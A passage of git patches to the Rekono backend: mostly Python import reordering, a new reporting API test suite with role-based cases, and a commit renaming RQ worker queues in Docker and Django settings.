100644 --- a/src/backend/tasks/apps.py +++ b/src/backend/tasks/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/tasks/filters.py b/src/backend/tasks/filters.py index 20281a4d4..52f3d96d7 100644 --- a/src/backend/tasks/filters.py +++ b/src/backend/tasks/filters.py @@ -1,5 +1,6 @@ from django_filters.filters import ChoiceFilter, ModelChoiceFilter from django_filters.rest_framework import FilterSet + from projects.models import Project from tasks.models import Task from tools.models import Tool diff --git a/src/backend/tasks/models.py b/src/backend/tasks/models.py index e2b16dde8..ab48e5958 100644 --- a/src/backend/tasks/models.py +++ b/src/backend/tasks/models.py @@ -1,4 +1,5 @@ from django.db import models + from framework.models import BaseModel from processes.models import Process from rekono.settings import AUTH_USER_MODEL diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py index e242a8b03..de0eee3a3 100644 --- a/src/backend/tasks/queues.py +++ b/src/backend/tasks/queues.py @@ -5,13 +5,14 @@ from django.db.models import Max from django.utils import timezone from django_rq import job +from rq.job import Job + from executions.enums import Status from executions.models import Execution from executions.queues import ExecutionsQueue from framework.queues import BaseQueue from input_types.models import InputType from processes.models import Step -from rq.job import Job from tasks.models import Task from tools.models import Intensity diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py index ab6430370..41a9c62b5 100644 --- a/src/backend/tasks/serializers.py +++ b/src/backend/tasks/serializers.py @@ -1,9 +1,10 @@ from typing import Any, Dict, cast from django.core.exceptions import ValidationError +from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField + from processes.models import Process from processes.serializers import SimpleProcessSerializer -from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField from targets.models import Target from targets.serializers import SimpleTargetSerializer from tasks.models import Task diff --git a/src/backend/tasks/urls.py b/src/backend/tasks/urls.py index 296526070..58559f4cd 100644 --- a/src/backend/tasks/urls.py +++ b/src/backend/tasks/urls.py @@ -1,4 +1,5 @@ from rest_framework.routers import SimpleRouter + from tasks.views import TaskViewSet # Register your views here. diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py index 47be46d7b..df9465a74 100644 --- a/src/backend/tasks/views.py +++ b/src/backend/tasks/views.py @@ -4,16 +4,17 @@ import django_rq from django.utils import timezone from drf_spectacular.utils import extend_schema -from executions.enums import Status -from executions.queues import ExecutionsQueue -from framework.views import BaseViewSet -from rekono.settings import CONFIG from rest_framework import status from rest_framework.decorators import action from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request from rest_framework.response import Response from rq.command import send_stop_job_command + +from executions.enums import Status +from executions.queues import ExecutionsQueue +from framework.views import BaseViewSet +from rekono.settings import CONFIG from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index 232c68599..c959dc509 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -1,12 +1,13 @@ import json from dataclasses import dataclass from pathlib import Path -from typing import Any, Dict, List, Tuple, Optional, Type +from typing import Any, Dict, List, Optional, Tuple, Type from django.db import transaction from django.test import TestCase -from executions.models import Execution from rest_framework.test import APIClient + +from executions.models import Execution from tools.parsers.base import BaseParser diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index 41b934352..9b805d1d4 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -1,5 +1,5 @@ import base64 -from typing import Dict, List, Any +from typing import Any, Dict, List from unittest import mock from authentications.enums import AuthenticationType @@ -7,11 +7,11 @@ from findings.framework.models import Finding from findings.models import Port from parameters.models import InputTechnology, InputVulnerability +from settings.models import Settings from target_ports.models import TargetPort from tests.executors.mock import get_url from tests.framework import RekonoTest from wordlists.models import Wordlist -from settings.models import Settings class ToolExecutorTest(RekonoTest): diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 204dbf152..91cd46fa3 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -1,13 +1,14 @@ import hashlib -import shutil import json +import shutil from pathlib import Path as PathFile from typing import Any, Dict, List, Optional +from django.test import TestCase +from rest_framework.test import APIClient + from authentications.enums import AuthenticationType from authentications.models import Authentication -from django.test import TestCase -from rekono.settings import CONFIG from executions.enums import Status from executions.models import Execution from findings.enums import ( @@ -34,7 +35,7 @@ from parameters.models import InputTechnology, InputVulnerability from processes.models import Process, Step from projects.models import Project -from rest_framework.test import APIClient +from rekono.settings import CONFIG from security.authorization.roles import Role from target_ports.models import TargetPort from targets.enums import TargetType diff --git a/src/backend/tests/platforms/defect_dojo/test_entities.py b/src/backend/tests/platforms/defect_dojo/test_entities.py index e6fbdc638..c2defb55e 100644 --- a/src/backend/tests/platforms/defect_dojo/test_entities.py +++ b/src/backend/tests/platforms/defect_dojo/test_entities.py @@ -1,4 +1,4 @@ -from typing import List, cast, Dict +from typing import Dict, List, cast from unittest import mock from tests.cases import ApiTestCase, RekonoTestCase diff --git a/src/backend/tests/platforms/test_hacktricks.py b/src/backend/tests/platforms/test_hacktricks.py index 1597abc0b..4ca522605 100644 --- a/src/backend/tests/platforms/test_hacktricks.py +++ b/src/backend/tests/platforms/test_hacktricks.py @@ -1,9 +1,9 @@ -from typing import Dict, List, Any, Optional -from findings.framework.models import Finding -from tests.framework import RekonoTest +from typing import Any, Dict, List, Optional from unittest import mock -from platforms.hacktricks import HackTricks +from findings.framework.models import Finding +from platforms.hacktricks import HackTricks +from tests.framework import RekonoTest base_url = "https://book.hacktricks.xyz/" diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index c2ef1032c..d1e31bca5 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -138,7 +138,7 @@ def setUp(self) -> None: { "id": 1, "triage_status": TriageStatus.UNTRIAGED.value, - "triage_comment": "", + "triage_comment": None, **{ k: v if not isinstance(v, models.TextChoices) @@ -159,7 +159,7 @@ def setUp(self) -> None: { "id": 1, "triage_status": TriageStatus.UNTRIAGED.value, - "triage_comment": "", + "triage_comment": None, **{ k: v if not isinstance(v, models.TextChoices) diff --git a/src/backend/tests/test_integrations.py b/src/backend/tests/test_integrations.py index 0288c56ff..af9bcfce4 100644 --- a/src/backend/tests/test_integrations.py +++ b/src/backend/tests/test_integrations.py @@ -1,7 +1,8 @@ from typing import Any -from tests.framework import ApiTest -from tests.cases import ApiTestCase + from integrations.models import Integration +from tests.cases import ApiTestCase +from tests.framework import ApiTest class IntegrationTest(ApiTest): diff --git a/src/backend/tests/test_notes.py b/src/backend/tests/test_notes.py index ee821d2e9..674af1e1c 100644 --- a/src/backend/tests/test_notes.py +++ b/src/backend/tests/test_notes.py @@ -1,9 +1,9 @@ from typing import Any + from notes.models import Note from tests.cases import ApiTestCase from tests.framework import ApiTest - private_note = { "project": 1, "target": None, diff --git a/src/backend/tests/test_reporting.py b/src/backend/tests/test_reporting.py new file mode 100644 index 000000000..9be3d43c6 --- /dev/null +++ b/src/backend/tests/test_reporting.py @@ -0,0 +1,361 @@ +from typing import Any, List, Optional + +from reporting.enums import FindingName, ReportFormat, ReportStatus +from reporting.models import Report +from targets.enums import TargetType +from targets.models import Target +from tests.cases import ApiTestCase +from tests.framework import ApiTest + + +class ReportingTest(ApiTest): + endpoint = "/api/reports/" + format = None + only_true_positives = False + finding_types: Optional[List[str]] = [ + FindingName.OSINT.value, + FindingName.HOST.value, + FindingName.PORT.value, + FindingName.PATH.value, + FindingName.CREDENTIAL.value, + FindingName.TECHNOLOGY.value, + FindingName.VULNERABILITY.value, + FindingName.EXPLOIT.value, + ] + + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + self._setup_findings(self.execution1) + + def test_cases(self) -> None: + if self.format: + report = { + "format": self.format.value, + "only_true_positives": self.only_true_positives, + } + if self.finding_types: + report["finding_types"] = self.finding_types + self.cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=[], + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "post", + 403, + {**report, "project": 1}, + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "post", + 403, + {**report, "target": 1}, + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "post", + 403, + {**report, "task": 1}, + ), + ApiTestCase(["admin1", "auditor1", "reader1"], "post", 400, report), + ApiTestCase( + ["admin1"], + "post", + 201, + {**report, "project": 1}, + expected={ + "id": 1, + "project": 1, + "task": None, + "target": None, + "format": self.format.value, + "status": ReportStatus.PENDING.value, + "user": 1, + }, + ), + ApiTestCase( + ["auditor1"], + "post", + 201, + {**report, "task": 1}, + expected={ + "id": 2, + "project": None, + "task": 1, + "target": None, + "format": self.format.value, + "status": ReportStatus.PENDING.value, + "user": 3, + }, + ), + ApiTestCase( + ["reader1"], + "post", + 201, + {**report, "target": 1}, + expected={ + "id": 3, + "project": None, + "task": None, + "target": 1, + "format": self.format.value, + "status": ReportStatus.PENDING.value, + "user": 5, + }, + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint="{endpoint}2/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint="{endpoint}3/", + ), + ApiTestCase(["admin2", "auditor2", "reader2"], "get", 200, expected=[]), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 1, + "project": 1, + "task": None, + "target": None, + "format": self.format.value, + "user": 1, + }, + endpoint="{endpoint}1/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 2, + "project": None, + "task": 1, + "target": None, + "format": self.format.value, + "user": 3, + }, + endpoint="{endpoint}2/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected={ + "id": 3, + "project": None, + "task": None, + "target": 1, + "format": self.format.value, + "user": 5, + }, + endpoint="{endpoint}3/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 200, + expected=[ + { + "id": 3, + "project": None, + "task": None, + "target": 1, + "format": self.format.value, + "user": 5, + }, + { + "id": 2, + "project": None, + "task": 1, + "target": None, + "format": self.format.value, + "user": 3, + }, + { + "id": 1, + "project": 1, + "task": None, + "target": None, + "format": self.format.value, + "user": 1, + }, + ], + ), + # Downloads return a 400 error because reports are created within a thread execution and having two + # threads working on the same tables at the same time is not compatible with SQLite + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 400, + endpoint=f"{self.endpoint}1/download/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint=f"{self.endpoint}1/download/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 400, + endpoint=f"{self.endpoint}2/download/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint=f"{self.endpoint}2/download/", + ), + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "get", + 400, + endpoint=f"{self.endpoint}3/download/", + ), + ApiTestCase( + ["admin2", "auditor2", "reader2"], + "get", + 404, + endpoint=f"{self.endpoint}3/download/", + ), + ApiTestCase( + ["auditor2", "reader2"], "delete", 404, endpoint="{endpoint}1/" + ), + ApiTestCase( + ["auditor1", "reader1"], "delete", 403, endpoint="{endpoint}1/" + ), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}1/"), + ApiTestCase(["admin1"], "delete", 204, endpoint="{endpoint}2/"), + ApiTestCase(["reader1"], "delete", 204, endpoint="{endpoint}3/"), + ApiTestCase( + [ + "admin1", + "admin2", + "auditor1", + "auditor2", + "reader1", + "reader2", + ], + "get", + 404, + endpoint="{endpoint}1/", + ), + ApiTestCase( + [ + "admin1", + "admin2", + "auditor1", + "auditor2", + "reader1", + "reader2", + ], + "get", + 404, + endpoint="{endpoint}2/", + ), + ApiTestCase( + [ + "admin1", + "admin2", + "auditor1", + "auditor2", + "reader1", + "reader2", + ], + "get", + 404, + endpoint="{endpoint}3/", + ), + ApiTestCase( + [ + "admin1", + "admin2", + "auditor1", + "auditor2", + "reader1", + "reader2", + ], + "get", + 200, + expected=[], + ), + ] + super().test_cases() + + def test_str(self) -> None: + if self.format: + self.expected_str = ( + f"{self.project.name} - {self.format.value} - {self.admin1.email}" + ) + super().test_str() + + def _get_object(self) -> Any: + return Report(format=self.format, project=self.project, user=self.admin1) + + +class JsonReportTest(ReportingTest): + format = ReportFormat.JSON + + +class JsonReportTruePositivesTest(ReportingTest): + format = ReportFormat.JSON + only_true_positives = False + + +class XmlReportTest(ReportingTest): + format = ReportFormat.XML + + +class XmlReportTruePositivesTest(ReportingTest): + format = ReportFormat.XML + only_true_positives = False + + +class PdfReportTest(ReportingTest): + format = ReportFormat.PDF + finding_types = None + + def setUp(self) -> None: + super().setUp() + Target.objects.create( + project=self.project, target="10.10.10.15", type=TargetType.PRIVATE_IP + ) + + +class PdfReportWithoutFindingsTest(ApiTest): + endpoint = "/api/reports/" + cases = [ + ApiTestCase( + ["admin1", "auditor1", "reader1"], + "post", + 404, + { + "format": ReportFormat.PDF.value, + "only_true_positives": True, + "project": 1, + }, + ) + ] + + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() diff --git a/src/backend/tests/test_security.py b/src/backend/tests/test_security.py index 9fb4e79cb..b768443de 100644 --- a/src/backend/tests/test_security.py +++ b/src/backend/tests/test_security.py @@ -2,6 +2,7 @@ from datetime import datetime, timedelta from django.utils import timezone + from tests.cases import ApiTestCase from tests.framework import ApiTest diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index 068b7eed1..72e6aa6f8 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -533,7 +533,9 @@ def test_cases(self) -> None: def test_notification_scope(self) -> None: self._setup_tasks_and_executions() notification = SMTP() - users_to_notify = list(notification._get_users_to_notify(self.execution1)) + users_to_notify = list( + notification._get_users_to_notify_execution(self.execution1) + ) self.assertEqual(1, len(users_to_notify)) self.assertEqual(self.admin1, users_to_notify[0]) @@ -541,7 +543,9 @@ def test_notification_scope(self) -> None: user_not_executor.notification_scope = Notification.ALL_EXECUTIONS user_not_executor.save(update_fields=["notification_scope"]) - users_to_notify = list(notification._get_users_to_notify(self.execution1)) + users_to_notify = list( + notification._get_users_to_notify_execution(self.execution1) + ) self.assertEqual(3, len(users_to_notify)) self.assertEqual(self.admin1, users_to_notify[0]) self.assertEqual(self.auditor1, users_to_notify[1]) @@ -549,7 +553,9 @@ def test_notification_scope(self) -> None: self.admin1.notification_scope = Notification.DISABLED self.admin1.save(update_fields=["notification_scope"]) - users_to_notify = list(notification._get_users_to_notify(self.execution1)) + users_to_notify = list( + notification._get_users_to_notify_execution(self.execution1) + ) self.assertEqual(2, len(users_to_notify)) self.assertEqual(self.auditor1, users_to_notify[0]) self.assertEqual(self.reader1, users_to_notify[1]) diff --git a/src/backend/tools/admin.py b/src/backend/tools/admin.py index 99728354a..0774f07f1 100644 --- a/src/backend/tools/admin.py +++ b/src/backend/tools/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from tools.models import Configuration, Input, Intensity, Output, Tool # Register your models here. diff --git a/src/backend/tools/apps.py b/src/backend/tools/apps.py index d5b47d8bc..b91c66dd3 100644 --- a/src/backend/tools/apps.py +++ b/src/backend/tools/apps.py @@ -3,6 +3,7 @@ from django.apps import AppConfig from django.db.models.signals import post_migrate + from framework.apps import BaseApp diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index 8ce5b2465..4a29410d8 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -5,11 +5,11 @@ import uuid from pathlib import Path from typing import Any, Dict, List -from settings.models import Settings + from django.forms.models import model_to_dict +from django.utils import timezone from authentications.models import Authentication -from django.utils import timezone from executions.enums import Status from executions.models import Execution from findings.framework.models import Finding @@ -17,6 +17,7 @@ from framework.models import BaseInput from parameters.models import InputTechnology, InputVulnerability from rekono.settings import CONFIG +from settings.models import Settings from target_ports.models import TargetPort from tools.models import Intensity from wordlists.models import Wordlist diff --git a/src/backend/tools/executors/gitleaks.py b/src/backend/tools/executors/gitleaks.py index 959a55800..2ceec3e8b 100644 --- a/src/backend/tools/executors/gitleaks.py +++ b/src/backend/tools/executors/gitleaks.py @@ -1,6 +1,6 @@ +import os import subprocess # nosec import uuid -import os from pathlib import Path from typing import Any, Dict diff --git a/src/backend/tools/filters.py b/src/backend/tools/filters.py index fe3e28dd6..0b31b7a42 100644 --- a/src/backend/tools/filters.py +++ b/src/backend/tools/filters.py @@ -1,5 +1,6 @@ from django_filters.filters import CharFilter, ChoiceFilter from django_filters.rest_framework import FilterSet + from framework.filters import LikeFilter from tools.models import Configuration, Tool diff --git a/src/backend/tools/models.py b/src/backend/tools/models.py index 5296e90e2..d93bb640d 100644 --- a/src/backend/tools/models.py +++ b/src/backend/tools/models.py @@ -5,6 +5,7 @@ from typing import Any, Optional from django.db import models + from framework.models import BaseLike, BaseModel from input_types.models import InputType from rekono.settings import CONFIG diff --git a/src/backend/tools/parsers/base.py b/src/backend/tools/parsers/base.py index 6216a5e33..e1cfa940c 100644 --- a/src/backend/tools/parsers/base.py +++ b/src/backend/tools/parsers/base.py @@ -4,6 +4,7 @@ import defusedxml.ElementTree as parser from django.db.models.fields.related_descriptors import ReverseManyToOneDescriptor from django.db.models.query_utils import DeferredAttribute + from findings.framework.models import Finding from tools.executors.base import BaseExecutor diff --git a/src/backend/tools/parsers/emailfinder.py b/src/backend/tools/parsers/emailfinder.py index 75c85a17b..454bab1e8 100644 --- a/src/backend/tools/parsers/emailfinder.py +++ b/src/backend/tools/parsers/emailfinder.py @@ -1,5 +1,6 @@ from django.core.exceptions import ValidationError from django.forms import EmailField + from findings.enums import OSINTDataType from findings.models import OSINT from tools.parsers.base import BaseParser diff --git a/src/backend/tools/parsers/joomscan.py b/src/backend/tools/parsers/joomscan.py index f284b09d0..c94311a32 100644 --- a/src/backend/tools/parsers/joomscan.py +++ b/src/backend/tools/parsers/joomscan.py @@ -1,5 +1,5 @@ -from urllib.parse import urlparse from typing import Set +from urllib.parse import urlparse from findings.enums import PathType, Severity from findings.models import Exploit, Path, Technology, Vulnerability diff --git a/src/backend/tools/parsers/nmap.py b/src/backend/tools/parsers/nmap.py index f0090e7e2..1dc9c59e6 100644 --- a/src/backend/tools/parsers/nmap.py +++ b/src/backend/tools/parsers/nmap.py @@ -1,9 +1,10 @@ import re from typing import Any, List +from libnmap.parser import NmapParser + from findings.enums import HostOS, PathType, PortStatus, Protocol, Severity from findings.models import Credential, Host, Path, Port, Technology, Vulnerability -from libnmap.parser import NmapParser from security.validators.input_validator import Regex from tools.parsers.base import BaseParser diff --git a/src/backend/tools/parsers/ssh_audit.py b/src/backend/tools/parsers/ssh_audit.py index 114839c3b..0d2a54512 100644 --- a/src/backend/tools/parsers/ssh_audit.py +++ b/src/backend/tools/parsers/ssh_audit.py @@ -1,4 +1,5 @@ from typing import Dict, List + from findings.enums import Severity from findings.models import Technology, Vulnerability from tools.parsers.base import BaseParser diff --git a/src/backend/tools/serializers.py b/src/backend/tools/serializers.py index b6afa139a..d79e95c86 100644 --- a/src/backend/tools/serializers.py +++ b/src/backend/tools/serializers.py @@ -1,7 +1,8 @@ +from rest_framework.serializers import ModelSerializer + from framework.fields import IntegerChoicesField from framework.serializers import LikeSerializer from input_types.serializers import InputTypeSerializer -from rest_framework.serializers import ModelSerializer from tools.enums import Intensity as IntensityEnum from tools.enums import Stage from tools.fields import StageField diff --git a/src/backend/tools/urls.py b/src/backend/tools/urls.py index 55e5ba818..b8dd5f4de 100644 --- a/src/backend/tools/urls.py +++ b/src/backend/tools/urls.py @@ -1,4 +1,5 @@ from rest_framework.routers import SimpleRouter + from tools.views import ConfigurationViewSet, ToolViewSet # Register your views here. diff --git a/src/backend/tools/views.py b/src/backend/tools/views.py index 9a1c6516b..9d3a9ee64 100644 --- a/src/backend/tools/views.py +++ b/src/backend/tools/views.py @@ -1,6 +1,7 @@ -from framework.views import BaseViewSet, LikeViewSet from rest_framework.permissions import IsAuthenticated from rest_framework.request import Request + +from framework.views import BaseViewSet, LikeViewSet from security.authorization.permissions import RekonoModelPermission from tools.filters import ConfigurationFilter, ToolFilter from tools.models import Configuration, Tool diff --git a/src/backend/users/admin.py b/src/backend/users/admin.py index 74f9447a9..2f12a3dc8 100644 --- a/src/backend/users/admin.py +++ b/src/backend/users/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from users.models import User # Register your models here. diff --git a/src/backend/users/apps.py b/src/backend/users/apps.py index e5fe78686..df111f69f 100644 --- a/src/backend/users/apps.py +++ b/src/backend/users/apps.py @@ -2,6 +2,7 @@ from django.apps import AppConfig from django.db.models.signals import post_migrate + from framework.apps import BaseApp from security.authorization.roles import ROLES, Role diff --git a/src/backend/users/filters.py b/src/backend/users/filters.py index a045fab86..8d21e83fe 100644 --- a/src/backend/users/filters.py +++ b/src/backend/users/filters.py @@ -1,6 +1,7 @@ from django.db.models import QuerySet from django_filters.filters import CharFilter, NumberFilter from django_filters.rest_framework import FilterSet + from projects.models import Project from users.models import User diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 2c0b36e3c..db3b6394a 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -5,13 +5,14 @@ from django.contrib.auth.models import AbstractUser, Group, UserManager from django.db import models from django.utils import timezone -from framework.models import BaseModel -from platforms.mail.notifications import SMTP -from rekono.settings import CONFIG from rest_framework_simplejwt.token_blacklist.models import ( BlacklistedToken, OutstandingToken, ) + +from framework.models import BaseModel +from platforms.mail.notifications import SMTP +from rekono.settings import CONFIG from security.authentication.api import ApiToken from security.authorization.roles import Role from security.cryptography.hashing import hash diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index 4685e3e86..ec3c385ee 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -256,8 +256,7 @@ def update(self, instance: User, validated_data: Dict[str, Any]) -> User: Returns: User: Updated instance """ - if hasattr(instance, "telegram_chat"): - Telegram().logout_after_password_change_message(instance.telegram_chat) + Telegram().logout_after_password_change_message(instance) return User.objects.update_password(instance, validated_data.get("password")) diff --git a/src/backend/users/urls.py b/src/backend/users/urls.py index 415fb171d..e587d5fd1 100644 --- a/src/backend/users/urls.py +++ b/src/backend/users/urls.py @@ -1,5 +1,6 @@ from django.urls import include, path from rest_framework.routers import SimpleRouter + from users.views import ( CreateUserViewSet, ProfileViewSet, diff --git a/src/backend/users/views.py b/src/backend/users/views.py index 44a57d00b..e2c993a23 100644 --- a/src/backend/users/views.py +++ b/src/backend/users/views.py @@ -3,7 +3,6 @@ from django.core.exceptions import PermissionDenied from drf_spectacular.utils import extend_schema -from framework.views import BaseViewSet from rest_framework import status from rest_framework.decorators import action from rest_framework.permissions import IsAuthenticated @@ -11,6 +10,8 @@ from rest_framework.response import Response from rest_framework.serializers import Serializer from rest_framework.viewsets import GenericViewSet + +from framework.views import BaseViewSet from security.authorization.permissions import ( IsAdmin, IsNotAuthenticated, diff --git a/src/backend/wordlists/admin.py b/src/backend/wordlists/admin.py index 006fb9d32..95dc26d8d 100644 --- a/src/backend/wordlists/admin.py +++ b/src/backend/wordlists/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from wordlists.models import Wordlist # Register your models here. diff --git a/src/backend/wordlists/apps.py b/src/backend/wordlists/apps.py index aae562b6d..e1cb83b44 100644 --- a/src/backend/wordlists/apps.py +++ b/src/backend/wordlists/apps.py @@ -4,6 +4,7 @@ from django.apps import AppConfig from django.db.models.signals import post_migrate + from framework.apps import BaseApp diff --git a/src/backend/wordlists/models.py b/src/backend/wordlists/models.py index 3134d8137..f15f83c64 100644 --- a/src/backend/wordlists/models.py +++ b/src/backend/wordlists/models.py @@ -2,6 +2,7 @@ from typing import Any, Dict from django.db import models + from framework.enums import InputKeyword from framework.models import BaseInput, BaseLike from rekono.settings import AUTH_USER_MODEL diff --git a/src/backend/wordlists/serializers.py b/src/backend/wordlists/serializers.py index 15ab8a7bf..abe1621e3 100644 --- a/src/backend/wordlists/serializers.py +++ b/src/backend/wordlists/serializers.py @@ -1,7 +1,8 @@ from typing import Any, Dict -from framework.serializers import LikeSerializer from rest_framework.serializers import FileField, ModelSerializer + +from framework.serializers import LikeSerializer from security.file_handler import FileHandler from users.serializers import SimpleUserSerializer from wordlists.models import Wordlist diff --git a/src/backend/wordlists/urls.py b/src/backend/wordlists/urls.py index 6d34ae43e..93b5f9948 100644 --- a/src/backend/wordlists/urls.py +++ b/src/backend/wordlists/urls.py @@ -1,4 +1,5 @@ from rest_framework.routers import SimpleRouter + from wordlists.views import WordlistViewSet # Register your views here. diff --git a/src/backend/wordlists/views.py b/src/backend/wordlists/views.py index 38de948c2..ed419b5c1 100644 --- a/src/backend/wordlists/views.py +++ b/src/backend/wordlists/views.py @@ -1,6 +1,7 @@ -from framework.views import LikeViewSet from rest_framework.permissions import IsAuthenticated from rest_framework.serializers import Serializer + +from framework.views import LikeViewSet from security.authorization.permissions import (OwnerPermission, RekonoModelPermission) from wordlists.filters import WordlistFilter From 80947647732a53ba25899bce16b48d7a3a90a611 Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Thu, 21 Mar 2024 19:14:37 +0100 Subject: [PATCH 131/141] Rename queues without the "-queue" value (#278) --- docker-compose.yml | 8 ++++---- docker/debian/entrypoint.sh | 8 ++++---- src/backend/executions/queues.py | 9 ++++----- src/backend/findings/queues.py | 7 +++---- src/backend/rekono/settings.py | 10 +++++----- src/backend/rekono/views.py | 7 +++---- src/backend/tasks/queues.py | 7 +++---- src/backend/tasks/views.py | 11 +++++------ 8 files changed, 31 insertions(+), 36 deletions(-) diff --git a/docker-compose.yml b/docker-compose.yml index 9f0e6f96f..8635cb6dc 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -59,7 +59,7 @@ services: tasks-worker: restart: always image: rekono-backend:latest - command: python manage.py rqworker tasks-queue + command: python manage.py rqworker tasks hostname: tasks-worker volumes: - rekono:/rekono @@ -82,7 +82,7 @@ services: context: . dockerfile: docker/Dockerfile.kali image: rekono-kali:latest - command: python manage.py rqworker executions-queue + command: python manage.py rqworker executions hostname: executions-worker volumes: - rekono:/rekono @@ -105,7 +105,7 @@ services: findings-worker: restart: always image: rekono-backend:latest - command: python manage.py rqworker findings-queue + command: python manage.py rqworker findings hostname: findings-worker volumes: - rekono:/rekono @@ -126,7 +126,7 @@ services: emails-worker: restart: always image: rekono-backend:latest - command: python manage.py rqworker emails-queue + command: python manage.py rqworker emails hostname: emails-worker volumes: - rekono:/rekono diff --git a/docker/debian/entrypoint.sh b/docker/debian/entrypoint.sh index cab453a38..a233cb85c 100644 --- a/docker/debian/entrypoint.sh +++ b/docker/debian/entrypoint.sh @@ -28,13 +28,13 @@ python /code/manage.py migrate python /code/manage.py runserver 0.0.0.0:8000 & # Run RQ workers -python /code/manage.py rqworker tasks-queue & +python /code/manage.py rqworker tasks & for worker in $(seq 1 $EXECUTION_WORKERS) do - python /code/manage.py rqworker executions-queue & + python /code/manage.py rqworker executions & done -python /code/manage.py rqworker findings-queue & -python /code/manage.py rqworker emails-queue & +python /code/manage.py rqworker findings & +python /code/manage.py rqworker emails & # Run Telegram bot python /code/manage.py telegram_bot & diff --git a/src/backend/executions/queues.py b/src/backend/executions/queues.py index 42eb2604c..e7871d8d4 100644 --- a/src/backend/executions/queues.py +++ b/src/backend/executions/queues.py @@ -4,15 +4,14 @@ import rq from django.utils import timezone from django_rq import job -from rq.job import Job -from rq.registry import DeferredJobRegistry - from executions.models import Execution from findings.framework.models import Finding from findings.queues import FindingsQueue from framework.models import BaseInput from framework.queues import BaseQueue from parameters.models import InputTechnology, InputVulnerability +from rq.job import Job +from rq.registry import DeferredJobRegistry from target_ports.models import TargetPort from tools.executors.base import BaseExecutor from tools.parsers.base import BaseParser @@ -22,7 +21,7 @@ class ExecutionsQueue(BaseQueue): - name = "executions-queue" + name = "executions" def enqueue( self, @@ -62,7 +61,7 @@ def enqueue( return job @staticmethod - @job("executions-queue") + @job("executions") def consume( execution: Execution, findings: List[Finding], diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py index 3b94610ff..636eacc5d 100644 --- a/src/backend/findings/queues.py +++ b/src/backend/findings/queues.py @@ -2,8 +2,6 @@ from typing import List from django_rq import job -from rq.job import Job - from executions.models import Execution from findings.models import Finding from framework.queues import BaseQueue @@ -12,12 +10,13 @@ from platforms.mail.notifications import SMTP from platforms.nvd_nist import NvdNist from platforms.telegram_app.notifications.notifications import Telegram +from rq.job import Job logger = logging.getLogger() class FindingsQueue(BaseQueue): - name = "findings-queue" + name = "findings" def enqueue(self, execution: Execution, findings: List[Finding]) -> Job: job = super().enqueue(execution=execution, findings=findings) @@ -27,7 +26,7 @@ def enqueue(self, execution: Execution, findings: List[Finding]) -> Job: return job @staticmethod - @job("findings-queue") + @job("findings") def consume(execution: Execution, findings: List[Finding]) -> None: if findings: for platform in [NvdNist, HackTricks, DefectDojo, SMTP, Telegram]: diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 76b11163a..f34610f9a 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -300,13 +300,13 @@ } RQ_QUEUES = { - "tasks-queue": default_rq_queue, - "executions-queue": default_rq_queue, - "findings-queue": default_rq_queue, + "tasks": default_rq_queue, + "executions": default_rq_queue, + "findings": default_rq_queue, } -RQ_QUEUES["executions-queue"]["DEFAULT_TIMEOUT"] = 28800 # 8 